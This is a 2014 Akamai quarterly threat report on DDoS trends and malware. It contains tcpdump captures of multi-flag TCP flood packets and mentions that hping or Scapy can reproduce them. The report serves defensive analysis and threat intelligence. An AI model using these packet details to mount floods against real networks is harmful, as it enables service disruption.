akamai security report

akamai’s [state of the internet] / security Q4 [2014 Report] Volume 1 Number 2

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Page 1: Akamai security report

akamai’s [state of the internet] / secur i ty

Q4 [2014 R

eport] V



1 Nu



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2 The State of the Internet [security] / Q4 2014 / www.stateoftheinternet.com



9 1.1 / Attack vectors

11 1.1A / Infrastructure layer attacks

11 1.1B / Application layer attacks

11 1.1C / Comparison: Attack vectors (Q4 2014, Q3 2014,

Q4 2013)

14 1.2 / Targeted industries

15 1.2A / Gaming industry

16 1.2B / Software + technology

16 1.2C / Internet + telecom

16 1.2D / Media

16 1.2E / Financial services

16 1.3 / Top 10 source countries

17 1.3A / Comparison: Top 10 source countries (Q4 2014,

Q3 2014, Q4 2013)

19 1.4 / Total attacks per week (Q4 2014 vs. Q4 2013)

20 1.5 / Comparison: Attack campaign start times (Q4 2014,

Q3 2014, Q4 2013)

23 [SECTION]2 = ATTACK SPOTLIGHT24 2.1 / SYN with a side of everything

27 2.2 / Attack attribution

30 [SECTION]3 = CASE STUDY 31 3.1 / Malware classification

32 3.2 / Cross-platform makware

32 3.2A / Multi-platform threats

33 3.3 / Exploitation of publicly known vulnerabilities

33 3.4 / Malware analysis: IptabLes for Microsoft Windows

36 3.5 / A RAT that is operating system aware

36 3.6 / Destructive malware

39 3.7 / Conclusion

40 [SECTION]4 = BOTNET PROFILING TECHNIQUE 41 4.1 / About remote file inclusion attacks

42 4.2 / OS command injection

43 4.3 / Common payloads in botnets

45 4.4 / Botnet findings

45 4.4A / Targets

47 4.4B / Attack traffic origins

48 4.4C / Crawlers disguised as Microsoft Bing bots

49 4.4D / Propagation

50 4.5 / Analysis of botnet capabilities

50 4.5A / Remote shell command execution

50 4.5B / Remote file upload

51 4.5C / SMS sending, controlled by IRC commands

51 4.5D / Other capabilities

51 4.6 / Conclusion

53 [SECTION]5 = PERFORMANCE MITIGATION55 5.1 / Four categories of bots and scrapers

56 5.1A / Highly desired, low aggression

56 5.1B / Undesired, highly aggressive

56 5.1C / Highly desired, high aggression

57 5.1D / Low desirability, low aggression

57 5.2 / Triage and categorization

58 5.3 / Mitigation

58 5.3A / Undesired, highly aggressive

59 5.3B / Highly desired, high aggression

59 5.3C / Low desirability, low aggression

60 5.3D / Highly desired, low aggression

60 5.4 / Conclusion


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A significant increase in the number of DDoS attacks was measured in Q4 2014: a 57 percent increase compared to last quarter and a 90 percent increase compared to Q4 2013. No attack size records were broken. A

new attack vector using a Christmas tree packet generated one of the quarter’s nine largest attacks. It is described in the Attack Spotlight: Multiple TCP Flag DDoS Attack in this report.

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At a glanceCompared to Q4 2013• 57 percent increase in total DDoS

attacks• 52 percent increase in average peak

bandwidth • 77 percent decrease in average peak

packets per second • 51 percent increase in application

layer attacks• 58 percent increase in infrastructure

layer attacks• 28 percent increase in average attack

duration• 84 percent increase in multi-vector

attacks• 100+ Gbps attacks: 9 vs. 3

Compared to Q3 2014• 90 percent increase in total DDoS

attacks• 54 percent decrease in average peak

attack bandwidth • 83 percent decrease in average peak

packets per second • 16 percent decrease in application

layer attacks• 121 percent increase in infrastructure

layer attacks• 31 percent increase in average attack

duration• 38 percent increase in multi-vector

attacks• 100+ Gbps attacks: 9 vs. 17

A DDoS attack vector first observed last quarter, SSDP flood, was used substantially more often (214 percent increase) in Q4 and generated 106 Gbps of malicious traffic in a campaign. The size of this attack demonstrates the expansion of the DDoS threat landscape by millions of Internet of Things devices (IoT).

The use of application-layer attacks grew by 51 percent compared to last quarter, which was still 16 points below Q4 2013. Infrastructure-layer attacks occurred 58 percent more often than in the previous quarter, and 121 percent more than in Q4 2013. Infrastructure-based attacks and application-based attacks appeared in a ratio of 9:1, almost identical to other quarters in 2014.

Attackers continued to favor a force over technique approach, which was aided by the mass exploitation of web vulnerabilities, the addition of millions

of exploitable Internet-enabled devices, successful botnet building and the monetization of these resources in the DDoS-for-hire underground.

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Attackers continued renting these botnets, mainly to perform volumetric attacks. Affordable, simple booter services like these can create sufficient traffic to take down a typical business or organization that lacks DDoS protection. In addition, widespread availability of booter services is allowing low-level, non-technical actors to target victims using criminal techniques similar to express kidnapping: threatening organizations with DDoS attacks if a ransom is not paid. The targeting of small and medium-sized organizations without DDoS protection makes criminals a quick profit.

The expansion of the DDoS-for-hire market also promotes the execution of multi-vector campaigns, as competition drives availability. As a result, multi-vector campaigns are being observed in higher numbers than the past. In Q4 2014, 44 percent of DDoS attacks leveraged multiple attack vectors, representing an 84 percent increase in the number of multi-vector attacks since Q4 2013. However, the ratio of single vector to multi-vector attacks each quarter has remained close to half of attacks each quarter, as shown in Figure 1.

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Figure 1: While the number of multi-vector attacks has surged the past two quarters, the percentage of multi-vector campaigns has continued to hover around the 50 percent mark

Malware is often used for DDoS botnet expansion. Malware trends – multi-platform, operating system awareness and destructive malware – are described in the malware section of this report. Also in this report is a new botnet analysis technique that uses distinct code in payloads to map botnet activity, actors and victim web applications.

The highest bandwidth attack in Q4 was 158 Gbps, generated by a multi-vector volumetric attack that used a SYN flood, UDP fragment flood and a UDP flood. Overall, average peak bandwidth increased 52 percent from a year ago but was 54 percent lower than the most recent quarter, as shown in Figure 2.

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Figure 2: Average peak bandwidth has dropped since last quarter, but remains higher than it was a year ago

The highest packet-per-second attack registered 96 million packets-per-second (Mpps), a 77 percent decrease from the same quarter a year ago and an 83 percent decrease compared to Q3, as shown in Figure 3.

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100+ Gbps attacks• Nine attacks • Gaming companies were most targeted• Mix of single-vector and multi-vector

attacks• UDP-based attacks were most common• Most utilized protocol reflection tactics


Figure 3: Average peak volume dropped significantly, due to the larger number of attacks this quarter, cou-pled with fewer mega-attacks

Attack duration increased by 31 percent to 29 hours from last quarter at 22 hours. This increase is similar to a 28 percent year-over-year increase from Q3 2013 at 23 hours.

The United States and China continued as the lead source countries for DDoS traffic. Instead of the BRIC countries (Brazil, Russia, India and China) block that dominated last quarter, Q4 DDoS attack traffic came in large part from the United States, China and Western Europe.

Akamai mitigated nine attacks that exceeded 100 Gbps in Q4. Media and gaming were the top targets of high-bandwidth

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DDoS attacks this quarter. Figure 4, which is ordered chronologically, shows that the last four attacks that reached 100+ Gbps all targeted the gaming industry.

All but one of these attacks used a UDP-based attack vector, including reflection-based UDP floods and traditional UDP floods. As a connectionless protocol, UDP typically allows for higher throughput than TCP. The UDP flood signature shown in Figure 5 accounted for the quarter’s second-highest attack volume at 154 Gbps, as well as the highest volume single-vector attack.

Attacks over 100 Gbps

Figure 4: Akamai mitigated nine mega-attacks in Q4, down from 17 mega-attacks in Q3 2014

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Figure 5: This UDP flood signature was used to generate the highest traffic for a single-vector attack


The rest of the UDP attacks were a combination of reflection-based vectors, including NTP, CHARGEN and SSDP reflection. The only TCP attack that exceeded 100 Gbps was the new XMAS-DDoS vector, a TCP-based flood that sets multiple flags on each packet.

While denial of service attacks can impact site performance significantly, desirable and malicious web crawlers can also affect site performance to a lesser degree. Classification, effect and mitigation of bots, spiders and scrapers are described later in this report.

1.1 / Attack Vectors / The fourth quarter followed the same trend observed earlier in the year: the ratio of volumetric attacks versus application-based attacks was 9:1. These numbers repeated throughout 2014, as shown in Figure 6.

Attackers’ preference for volumetric infrastructure-based attacks may be due to ease of execution: Internet infrastructure is growing. Surging economies and millions of Internet-enabled devices are being added worldwide, making new resources available for exploitation, botnet building and DDoS attacks. Infrastructure-based attack resources are plentiful.

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Figure 6: Infrastructure attacks remained popular in Q4, making up nearly 90 percent of all attack vectors

Types of DDoS attacks and their relative distribution in Q4 2014

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1.1A / Infrastructure Layer Attacks / The most used infrastructure-based attack vectors were SYN floods (17 percent), SSDP floods (15 percent), UDP fragment (14 percent), UDP floods (11 percent) and DNS attacks (11 percent). Additionally, NTP attacks accounted for 8 percent, CHARGEN for 5 percent, ICMP for 4 percent, ACK floods for 3 percent and RESET flood for 1 percent.

1.1B / Application Layer Attacks / The top application-layer vector was HTTP GET floods at 8 percent of all attacks, most of which match known DDoS kits such as Spike. Other application-layer attacks were used less than 2 percent of the time, including HTTP POST (1 percent), HTTP PUSH (0.5 percent) and HTTP HEAD (0.2 percent).

Successful application-based attacks require a higher level of attack expertise, because most DDoS mitigation technology can stop simple HTTP GET and POST floods. When the requests are refined, randomized and encoded, however, they may bypass typical mitigation technology.

1.1C / Comparison: Attack Vectors (Q4 2014, Q3 2014, Q4 2013) / A new DDoS attack vector was introduced in Q4. In late November, XMAS-DDoS with Christmas tree packets was first observed. It is featured in the Attack Spotlight of this report. Also, Q4 marked a greater number of all types of infrastructure attacks, except for ICMP floods, compared to last quarter and Q4 2013. This reflects an overall increase in number of DDoS attacks.

SYN floods and SSDP reflection floods were used extensively, contributing to the increase of infrastructure-based attacks. These two attack vectors contributed 17 percent (SYN) and 15 percent (SSDP) to total attacks, as shown in Figure 7. The use of SYN floods remained consistent with Q3.

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Figure 7: The popularity of attack vectors varies by quarter, but SYN floods and UDP floods remain perennial favorites

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SSDP accounted for a significant 214 percent increase in number of attacks compared to Q3. The SSDP protocol, which is used by UPnP devices, was a newly observed attack in Q3 and has proven to be an increasingly popular attack vector. It may not have yet have achieved its full potential. In Q3 2014, for example, an SSDP-only DDoS attack generated 54 Gbps. This quarter, Akamai mitigated a significantly larger 106 Gbps SSDP attack. SSDP attacks may prove to be difficult to eradicate, because in many cases, attack sources comprise Internet-enabled homes around the world. Home users may lack the expertise to prevent these devices from becoming unwilling participants in DDoS attacks – they may not even know their devices are being abused as SSDP reflectors.

In contrast, NTP and DNS servers are more likely to be operated by IT staff able to detect and mitigate the abuse. New domains are constantly being created for DNS reflection attacks, and administrators of open DNS resolvers have sought to mitigate their abuse. NTP reflection attacks have as a result generally produced less powerful attacks over time. That said, many vulnerable NTP servers are still available as NTP reflection sources, and one of the nine attacks greater than 100 Gbps in Q4 was fueled by NTP abuse.

The fact that NTP reflection marked an increase in attacks by 181 percent compared to Q3 is an indicator of the larger number of DDoS attacks overall in Q4, even though NTP attacks were generally less effective and less popular than in the past. Malicious actors make use of every resource available to them, including NTP servers. A source of NTP reflection attacks were DDoS-for-hire sites, where NTP reflection was one of the more common attack vectors available to paying customers.

Overall, Q4’s infrastructure-based attacks increased 58 percent compared to Q3 and 121 percent compared to the same quarter a year earlier. Application-layer attacks increased 51 percent over Q3 and dropped 16 percent from a year ago.

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Compared to a year ago, UDP fragment attacks increased 54 percent, and quarter-over-quarter they increased 58 percent. Many reflection-based floods – such as DNS, SNMP and SSDP – generate packets larger than allowed by the typical maximum transmission unit (MTU). Such packets (exceeding 1,500 bytes) are fragmented before reaching the target edge network and must be mitigated separately. Increasing use of reflection attacks accounts for the increase in UDP fragment floods. The sample stream in Figure 8 shows a typical CHARGEN flood packet. The packet contained 6,108 bytes of data and was split into five parts.

Figure 8: A fragmented UDP payload, resulting from a single CHARGEN reflection reply

81 0.055162 X.X.X.X -> X.X.X.X IPv4 1518 Fragmented IP protocol (proto=UDP 17, off=0, ID=458a)82 0.055307 X.X.X.X -> X.X.X.X IPv4 1518 Fragmented IP protocol (proto=UDP 17, off=1480, ID=458a)85 0.055411 X.X.X.X -> X.X.X.X IPv4 1518 Fragmented IP protocol (proto=UDP 17, off=2960, ID=458a)86 0.055512 X.X.X.X -> X.X.X.X IPv4 1518 Fragmented IP protocol (proto=UDP 17, off=4440, ID=458a)87 0.055518 X.X.X.X -> X.X.X.X UDP 234 Source port: 19 Destina-tion port: 2020

The packets do not arrive in order, and only the last packet has the port information, as shown.

1.2 / Targeted Industries / The five most-attacked verticals in Q4 were gaming (35 percent), software and technology (26 percent), Internet and telecom (11 percent), media and entertainment (10 percent), and financial services (7 percent), as shown in Figure 9.

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Figure 9: The gaming industry bore the brunt of DDoS attacks in Q4, driven by a surge in attack activity at the end of December

Most commonly attacked industries - Q4 2014

1.2A / Gaming Industry / Gaming remained the most targeted industry since Q2 2014 and experienced a 2 percent increase this quarter. In Q4, attacks were fueled by malicious actors seeking to gain media attention or notoriety from peer groups, damage reputations and cause disruptions in gaming services. Some of the largest console gaming networks were openly and extensively attacked in December 2014, when more players were likely to be affected. Another trend was the holding of networks hostage, where the owners were asked to pay a small ransom to stop a DDoS attack. This industry received a similar percentage of all SYN floods (36 percent), SSDP floods (35 percent), DNS floods (35 percent), NTP floods (36 percent) and UDP fragmentation attacks (37 percent). It received relatively fewer of all UDP floods (26 percent) and GET floods (25 percent).

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1.2B / Software + Technology / The software and technology industry includes companies that provide solutions such as Software-as-a-Service (SaaS) and cloud-based technologies. This industry saw the sharpest climb in attack rates, up 7 percent from last quarter to 26 percent of all attacks. It received a similar percentage of all SYN floods (27 percent), SSDP floods (24 percent), UDP fragmentation attacks (24 percent), UDP floods (25 percent), DNS floods (24 percent), GET floods (26 percent) and NTP floods (25 percent).

1.2C / Internet + Telecom / The Internet and telecom industry includes companies that offer Internet-related services such as ISPs and CDNs. Although the target of only 11 percent of all attacks, which was an increase of 2 percent, this industry was the target of a disproportionate 18 percent of all DNS flood attacks in Q4. It was also hit by 11 percent of SSDP floods, 13 percent of UDP floods and 10 percent of UDP fragmentation attacks.

1.2D / Media / The media industry saw the biggest change in percentage of attacks, dropping 13 percent compared to last quarter. Although targeted by only 10 percent of all attacks, it was targeted by a disproportionate 23 percent of GET floods. It received 12 percent of SYN floods and 13 percent of UDP floods.

1.2E / Financial Services / The financial industry includes major financial institutions such as banks and trading platforms. The financial industry saw a small decline (-2 percent) to 7 percent of all DDoS attacks. This industry received a similar percentage of all attacks including SYN floods (8 percent), UDP fragmentation attacks (9 percent) and DNS floods (10 percent).

1.3 / Top 10 Source Countries / The United States continued as the most prolific source country of DDoS attacks, accounting for 32 percent of originating malicious traffic. It was followed by China (18 percent), Germany (12 percent),

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Mexico (12 percent), France (8 percent), India (4 percent), Spain (4 percent), United Kingdom (4 percent), Korea (4 percent) and Russia (4 percent), as shown in Figure 10.

The United States and China together accounted for almost half of all attack traffic in Q4, while countries in Western Europe (Germany, France, Spain, United Kingdom) accounted for almost a third.

Figure 10: The US and China accounted for almost 50 percent of attack traffic in Q4 2014

Top 10 source countries for DDoS attacks in Q4 2014

1.3A / Comparison: Top 10 Source Countries (Q4 2014, Q3 2014, Q4 2013) / The United States and China placed consistently in the top spots for DDoS sources in Q4 2014, Q3 2014 and Q4 a year ago. Combined, they sourced 40 to 50 percent of attacks. The United States placed first in Q4 2013 at 24 percent, first in Q3 of 2014 with 24 percent and first in Q4 2014 with 32 percent, as shown in Figure 11.

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China has placed second in all three quarters as well with Q4 2013 (19 percent), Q3 2014 (20 percent) and Q4 2014 (18 percent).

India and Korea appeared consistently in the top 10 source countries in each of the three quarters. India ranged from sixth place in Q4 2013 (7 percent), ninth in Q3 2014 (3 percent) and sixth in Q4 2014 (4 percent). Korea placed fifth in Q4 2013 (7 percent), fifth in Q3 2014 (6 percent) and ninth in Q4 2014 (4 percent).

Other countries appeared on the list in the past but did not appear more recently. The United Kingdom did not appear in the top ten source countries last quarter, but it was fourth in Q4 2013 (8 percent) and eighth in Q4 2014 (4 percent). Thailand placed third a year ago (14 percent) and tenth in Q3 2014 (3 percent) but not in Q4 2014. Brazil placed ninth in Q4 a year ago (5 percent) and third in Q3 2014, but stayed off the list in Q4 2014.

Mexico appeared recently in fourth place in Q3 2014 (14 percent) and in fourth place in Q4 (12 percent). Similarly, Russia did not appear in Q4 a year ago but placed eighth in Q3 2014 (3 percent) and tenth in Q4 2014 (4 percent). Germany also did not appear in Q4 a year ago, but placed sixth in Q3 2014 (6 percent) and third in Q4 2014 (12 percent).

Other countries with single appearances in the chart in the selected quarters include Turkey in Q4 2013 (6 percent), Italy in Q4 2013 (6 percent), France in Q4 2014 (8 percent), and Spain in Q4 2014. Japan only appeared in Q3 2014 (4 percent).

In contrast to Q3 when there was a notable presence of BRIC countries, Q4 attack sources were dominated by the United States, China and Western Europe.

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Figure 11: The US and China consistently make the top 10 list of attack source IPs

Top 10 source countries for DDoS attacks in Q4 2014, Q3 2014, Q4 2013

1.4 / Total Attacks per Week (Q4 2014 vs. Q4 2013) / Figure 12 shows the percentage increase and decrease of the total number of attacks per week in Q4 year-over-year. Of the three months of the quarter, Akamai mitigated the greatest number of DDoS attacks in December. The last two weeks were the busiest – with the last week posting a 1,100 percent increase over the same week a year ago. The boost in activity in Q4 was attributed to attacks against the gaming industry.

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Figure 12: Weekly DDoS attacks surged in December 2014 compared to December 2013, fueled by attacks in the gaming industry

Changes in DDoS attacks per week Q4 2014 vs. Q4 2013

1.5 / Comparison: Attack Campaign Start Times (Q4 2014, Q3 2014, Q4 2013) / Last quarter PLXsert observed that the start times for attacks were becoming more uniformly spread across a 24 hour period, an observation that led to the hypothesis: “As targets in previously underrepresented geographic locations increase in value and foreign tech markets continue to grow, attack [start] times are likely to become more evenly distributed.” In fact, the same spreading trend continued in Q4. PLXsert measured an uptick in attack targets in Asia, Western Europe and South America and observed an increase in cybersecurity and DDoS-associated technology spending in China, Germany, France, Spain, India and Korea. The diffusion of attack start times will likely continue.

A widening scope of targets and the proliferation of attacks across industries and geographies correlates with the spreading of attack distribution data across a 24-hour period. Attacks were spread out over more hours and had a lesser range

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between the maximum and minimum number of attacks per hour, as shown in Figure 13. In the past, attack traffic varied more throughout the day as shown by the Q4 2013 data.

Figure 13: Attack traffic varied more throughout the day a year ago than in the two most recent quarters.

In the figure, the most recent quarter exemplifies this range reduction. In Q4 2014, for example, the lowest percentage of total attacks (2 percent) occurred at hour 16:00, while the highest percentage (5 percent) occurred at hour 19:00 – a 3 percent difference.

In contrast, the range of the previous quarter was 4 percent. The least popular hour of attack, 16:00, had 2 percent of total attacks, and the most popular hour of attack, 00:00, had 6 percent.

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Likewise, Q4 a year ago had a range of almost 8 percent with the least popular hour of attack, 05:00, at 0.5 percent of attacks, and the most popular hour, 20:00, at 8 percent.

Due to a change in SSL compliance standards associated with the merger of the Prolexic scrubbing centers and the Akamai Security Operations Center, we have deprecated SSL attack statistics from this report. Expect to see more detailed information on application layer attacks in general, and SSL in particular, starting in Q2 2015.

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DDoS Attack

A group claiming to be Lizard Squad has engaged in an ongoing attack campaign against an Akamai customer. The attack vector and the events surrounding this attack campaign make it noteworthy, because

it indicates the ongoing development of DDoS attack tools. Although it was not a record-breaking attack, it was large – peaking at 131 Gigabits per second (Gbps) and 44 Million packets per second (Mpps) – a level that would slow or cause an outage in most corporate infrastructures. The attacks occurred in August and again in December.

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2.1 / SYN with a Side of Everything / The TCP-based attack was packed with TCP flags. One packet exhibited the greatest number of simultaneous flags set of all the packets – only an ACK flag was missing. The flags are shown within brackets in the tcpdump output in Figure 14. In the order in which they appear [FSRPUEW], the flags included FIN, SYN, RST, PSH, URG, ECN, and CWR. Such a flag-filled packet is commonly called a Christmas tree packet. Such packets are almost always suspicious. They are designed to take more processing power than usual packets and thus are commonly used in denial of service attacks. They may also be used for reconnaissance to see how a target responds.

Although the attack seems to be executed like a SYN flood, there are some differences that may indicate the use of a new attack tool. The resulting payloads can be simulated closely using applications such as Scapy and hping (Linux). Figure 15 simulates the live DDoS packet in Figure 14.

Characteristics of this DDoS attack included the following:• At least the SYN flag• Random host targeted in a /24 subnet of x.x.x.Y• Destination port of 80 (http), 443 (https), or Y (i.e. attacking destination host .236

on port 236• Consistent attack signature per source IP address

Figure 14: This notable packet had the most flags set during this DDoS campaign

23:56:52.391222 IP > X.X.X.165.165: Flags [FSR-PUEW], seq 3923992143:3923992144, win 24051, urg 0, length 1

Figure 15: A lab reproduction of the packet using hping

10:28:58.987897 IP > Flags [FSRPUEW], seq 1141824621:1141824622, win 24051, urg 0, length 1

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Figure 16 shows some of the payloads (attack signatures) to demonstrate their characteristics.

Figure 16: Samples of attack signatures reveal characteristics of this attack

Source IP is attacking destination host .236 on port 236. Flags, window size and length are consistent.

23:56:52.391386 IP > X.X.X.236.236: Flags [SU], seq 4115245827:4115245828, win 50868, urg 0, length 123:56:52.391406 IP > X.X.X.236.236: Flags [SU], seq 873907288:873907289, win 50868, urg 0, length 1

Source IP is attacking destination host .162 on port 80. Flags, window size and length are consistent.Verbose mode shows that all packets have invalid checksums and Reset cause RST.

23:55:48.344828 IP > X.X.X.162.80: Flags [FSRE], cksum 0x0bf5 (incorrect -> 0x0bf4), seq 1460373159:1460373160, win 34109, length 1 [RST \0x00]23:55:48.344836 IP > X.X.X.162.80: Flags [FSRE], cksum 0xc5b7 (incorrect -> 0xc5b6), seq 2149081780:2149081781, win 34109, length 1 [RST \0x00]

Source IP is attacking destination host .61 on port 443. Flags, window size and length are consistent.

02:53:55.220357 IP > X.X.X.61.443: Flags [SRP.E], seq 2232047395:2232047456, ack 0, win 50599, length 6102:53:55.220417 IP > X.X.X.61.443: Flags [SRP.E], seq 4038508264:4038508325, ack 0, win 50599, length 61

Expanded packet view reveals extra payload data in a crafted packet populating the Reset cause field.

03:34:28.415197 IP (tos 0x0, ttl 247, id 59517, offset 0, flags [none], proto TCP (6), length 101) > X.X.X.61.443: Flags [SRP.E], cksum 0x3d92 (incorrect -> 0xe5a1), seq 3543481302:3543481363, ack 0, win 50599, length 61[RST+ \0x00\0x00\0x00\0x004^\0xd8\0xbe\0x94\0x80\0x00\0x00\0x98B\0x01\0x00\0xad\0xe6\0xd9=\0x04\0x95\0x00\0x00\0x00\0x00\0x00\0x-00\0xd4C]

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In Figure 16, the Reset cause field is populated in TCP packets where the Reset flag is set and with a length greater than 1. Using hping, similar results can be generated in a lab environment as shown in the reproduction in Figure 17.

Some of the aspects that make this attack unique also make it less effective. For example, some of the TCP flag combinations do not even render a response from the target. Regardless, the attack achieved its goal by generating high traffic volumes and high packet rates, as shown in Figure 18. This is enough traffic to hinder or completely clog most corporate infrastructures – and it highlights the ongoing development of DDoS tools.

Figure 17: An hping reproduction in the lab with extra data showing as Reset cause

00:24:00.121872 IP > Flags [SRP.E], seq 1647155852:1647155913, ack 1674304533, win 50599, length 61

00:24:00.121932 IP > Flags [SRP.E], seq 1276518082:1276518143, ack 948855161, win 50599, length 61

00:25:00.975537 IP (tos 0x0, ttl 64, id 36810, offset 0, flags [none], proto TCP (6), length 101) > Flags [SRP.E], cksum 0xd610 (incorrect -> 0x8345), seq 1218010765:1218010826, ack 234896243, win 50599, length 61 [RST+ \0xb0\0x04\0x08\0x07\0x08\0x00\0x-00(\0xb0\0x04\0x08\0x07\0x09\0x00\0x00,\0xb0\0x04\0x08\0x07\0x-0a\0x00\0x000\0xb0\0x04\0x08\0x07\0x0b\0x00]

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This particular attack appears to be a calling card of sorts for a group claiming to be Lizard Squad. Each attack against this particular Akamai customer revealed the same use of multiple TCP flags in each packet. The initial campaign in August, although mixed with a UDP flood, contained similar characteristics while also containing some differences that may indicate a new group of attackers.

2.2 / Attack Attribution / Figure 19 depicts attack dates for three attack campaigns that used the multiple-flag DDoS attack. This flag combination has only been observed in attacks against one Akamai customer.

Distribution of peak bandwidth and packets per second by scrubbing center

Figure 18: Distribution of bandwidth and packets per second

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Although Lizard Squad claimed responsibility for the attacks, differences in the third attack campaign draw speculation of a new attacker. The first two attack campaigns targeted two specific web server IP addresses, which could easily be determined by resolving the target website IP address. In addition, the first two attack campaigns, despite including an extra attack vector, did not produce even half of the volume of the third attack campaign.

Although the first two attacks included a UDP flood, as shown in Figure 20, the third campaign did not make use of the UDP flood attack vector and it was a much larger attack. The third campaign also targeted random hosts in a specific /24 network and made use of the extra data in the Reset cause field on the packets with the Reset flag set.

Figure 19: Attacks matching the signature TCP flag attack

Attack Timeline

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Although there are similar footprints in all three campaigns, the expansion and sophistication of the third campaign suggests this group has been incorporating new resources from the DDoS-for-hire underground. These resources have helped them produce greater volumes of attack traffic in comparison with their previous campaigns.

The group used social media to amplify its claims of successful attacks, garnering attention. They were successfully mitigated by Akamai and were not record-setting attacks.

Figure 20: Signatures from the first two attack campaigns

18:00:43.817691 IP > X.X.X.X.50042: Flags [SPU], seq 1020860622:1020860632, win 51602, urg 0, length 1012:48:04.847899 IP > X.X.X.X.443: Flags [SRUEW], seq 537104266:537104276, win 47078, urg 0, length 1012:48:04.847970 IP > X.X.X.X.443: Flags [SRUEW], seq 690249352:690249362, win 47078, urg 0, length 10

Expanded packet view

18:00:43.817856 IP > X.X.X.X.50042: Flags [SPU], seq 3502490088:3502490098, win 51602, urg 0, length 10.e..E..2.7....>.S..G.....P.z........T*......@z@..... .



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CASE STUDYThe Evolution of Malware: From

Cross Platform to Destruction

Malware distribution has evolved through the years – from the first worms transferred via diskettes (Elk CLoner) to sophisticated viruses spread across USB interfaces (Conficker). As new types of malicious

software were developed, the term malware was introduced to describe a broad category that included Trojans, viruses, worms and more.

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Innovative attack tactics and techniques have proliferated over the years as defenders of computing systems have become more aware of the tricks malware developers use to infect systems. Malware authors, in turn, have developed new infection approaches for new operating systems and now look for ways to widen their nets further to infect not just one type of machine at a time, but multiple operating systems at once.

3.1 / Malware Classification / Malicious software can be classified by its features and implementation details. Each category describes a unique feature of the malware. A single malware instance can exhibit several features at once.

• Virus: Viruses are executables that replicate themselves recursively. Sometimes the copy is an evolution of its original form; such viruses are referred to as polymorphic or metamorphic viruses.

• Worm: Worms are network-pivoting viruses designed to replicate and propagate themselves across a network of computers. Worms may also infect other host programs in order to replicate and persist on an infected machine or network.

• Trojan: Trojans are designed to trick users into installing them unknowingly. Trojans disguise themselves as legitimate software while their true purpose is to gain unrestricted access to information or to facilitate extortion. In recent years, banking Trojans have become popular, as have extortion-based Trojans such as CryptoLocker and CryptoWall. Data encryption has become a common capability of data-stealing Trojans.

• Backdoor: Backdoors allow remote connections to systems. Remote Access Trojans (RATs) are a type of backdoor that allows unrestricted remote access to a victim’s files and system tools.

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3.2 / Cross-Platform Malware / As the line between the types of malicious software begins to blur, the target platform needs to be considered. In recent years, there has been an increase in malware code that is both modularized and framework-oriented. Cross-platform malware, such as Flame and Regin, can infect multiple platforms and architectures. For example, it may target devices with one of several processors (ARM, MIPS, x86) or computers with varied operating systems, and it may have the ability to infect files of differing formats.

3.2A / Multi-Platform Threats / Multi-platform malware is not a new idea, and implementations vary. Researchers from International Secure System Lab showed that many malware samples in the wild that target multiple systems are written in interpreted languages such as Java, Ruby, Perl or Javascript. It is important to understand the distinction between interpreted languages and compiled or native languages such as C, C++ or Delphi. A low-level programming language, such as assembly language or C, would not provide the flexibility to run across multiple platforms or operating systems due to implementation differences among processor architectures, operating system application programming interfaces (APIs), and binary file formats and other low-level structures (e.g., Microsoft Windows Preinstallation Environment (PE), Mach-O on Apple OS X, and ELF on Linux).

Attackers often fingerprint the targeted systems to identify the best path to mass infection. For example, malicious actors may write platform-specific code and target publicly known vulnerabilities in software that is platform independent, such as a content management system (CMS). This allows the attacker to drop a payload appropriate to the system running a vulnerable application.

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3.3 / Exploitation of Publicly-Known Vulnerabilities / The exploitation of vulnerabilities as zero-day attacks (the day the vulnerability becomes known) is increasingly being combined with newly-modified malware to create a complex multi-stage exploit. This often involves multiple malware items that have been weaponized to destroy host systems. In Q4 2014, PLXsert observed such attack campaigns involving the Shellshock (bash bug) vulnerability exploitation where attackers chained additional malware to the campaign after successful exploitation.

3.4 / Malware Analysis: IptabLes for Microsoft Windows / PLXsert released a threat advisory in September 2014 about the IptabLes and IptabLex DDoS threat targeting Linux platforms. It was propagated by targeting vulnerabilities in web services such as Apache Struts, Tomcat and ElasticSearch. Soon after the advisory was released, a malware variant written for Windows made its way into the public space. While the Windows variant did not have the same impact as the Linux variant, it became clear that the authors were creating variations of the threat to target multiple operating systems.

Although little information has been collected about the methods used to propagate the Windows variant of IptabLes, the motive of the malware writers is clear. A rewrite or recompilation of the malware was likely required in order to produce a Windows-compatible version, and string artifacts present in the binary indicate strongly that the malware was repurposed to infect Windows machines.

Figure 21 shows some of the string data present in the Windows version of IptabLex.

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Figure 22 shows similar string data from within the original Linux payload. Matching strings, such as targeted domains used for DNS resolution and web requests, can be observed when comparing these two variants.

Figure 21: String data present in the Windows IptabLes (IptabLex)

Figure 22: String data present in the Linux variant of IptabLes

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In the case of IptabLes, the malware authors had to re-implement system-specific functionality, such as persistence techniques and the use of certain networking APIs, because Windows exposes a different API set for networking operations than Linux.

The Windows version of IptabLes installs a service in order to achieve persistence, as shown in Figure 23. This technique is implemented much differently on the Linux variant, which uses init scripts and drops copies of the payload onto the /boot directory of victim systems.

Figure 23: Windows-specific techniques used for persistence

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The IptabLes threat was successful due to the abuse of vulnerabilities of popular web services usually running on Linux servers. Malicious actors typically use the route of least resistance to quickly build a botnet of considerable size. These botnets are then used in campaigns or sold in an underground market called DDoS-for-hire services.

3.5 / A RAT That Is Operating

System Aware / In October 2012, Mac antivirus and security company Intego released a short post about a Java-based Remote Access Trojan (jRAT) that it considered low-risk and only intended for stealing Minecraft passwords. Trend Micro released a subsequent blog post identifying a small infection of the same Trojan with additional features. While the threat remains relatively low, this jRAT is another example of malware authors taking the time to create write-once, run everywhere malware. The author, who goes by the name of redpOison, developed the jRAT to be operating system aware. This jRAT will use the appropriate system functions for the platform upon which it is run. Figure 24 shows a piece of code that executes certain functions if the current operating system is Mac OS X.

Although this jRAT is not an advanced or complex piece of code, it demonstrates how easy it is for attackers to develop malware that is operating system aware.

3.6 / Destructive Malware / Today’s campaigns typically consist of several stages that include surveillance, infiltration and persistence. One of the first actions usually taken after a successful infiltration is to establish persistence on the victim system. In the case of a campaign carried out by DarkSeoul, a group responsible for a string

Figure 24: jRAT code identifies the host platform in order to run specific code

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of attacks against the South Korean government, a dropper component of the attack contained embedded resources, as shown in Figure 25.

These resources were then extracted during runtime and dropped into the system directory, as shown in Figure 26.

Figure 25: Embedded and obfuscated resources within dropper malware

Figure 26: This code extracts the embedded malware during runtime

One of the embedded payloads was designed to find hard disks and partitions on the infected system and overwrite the entire drive, effectively deleting all of its content. Figure 27 shows some strings found in the DLL payload designed to wipe an entire hard drive.

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Figure 27: String data within one of the extracted payloads

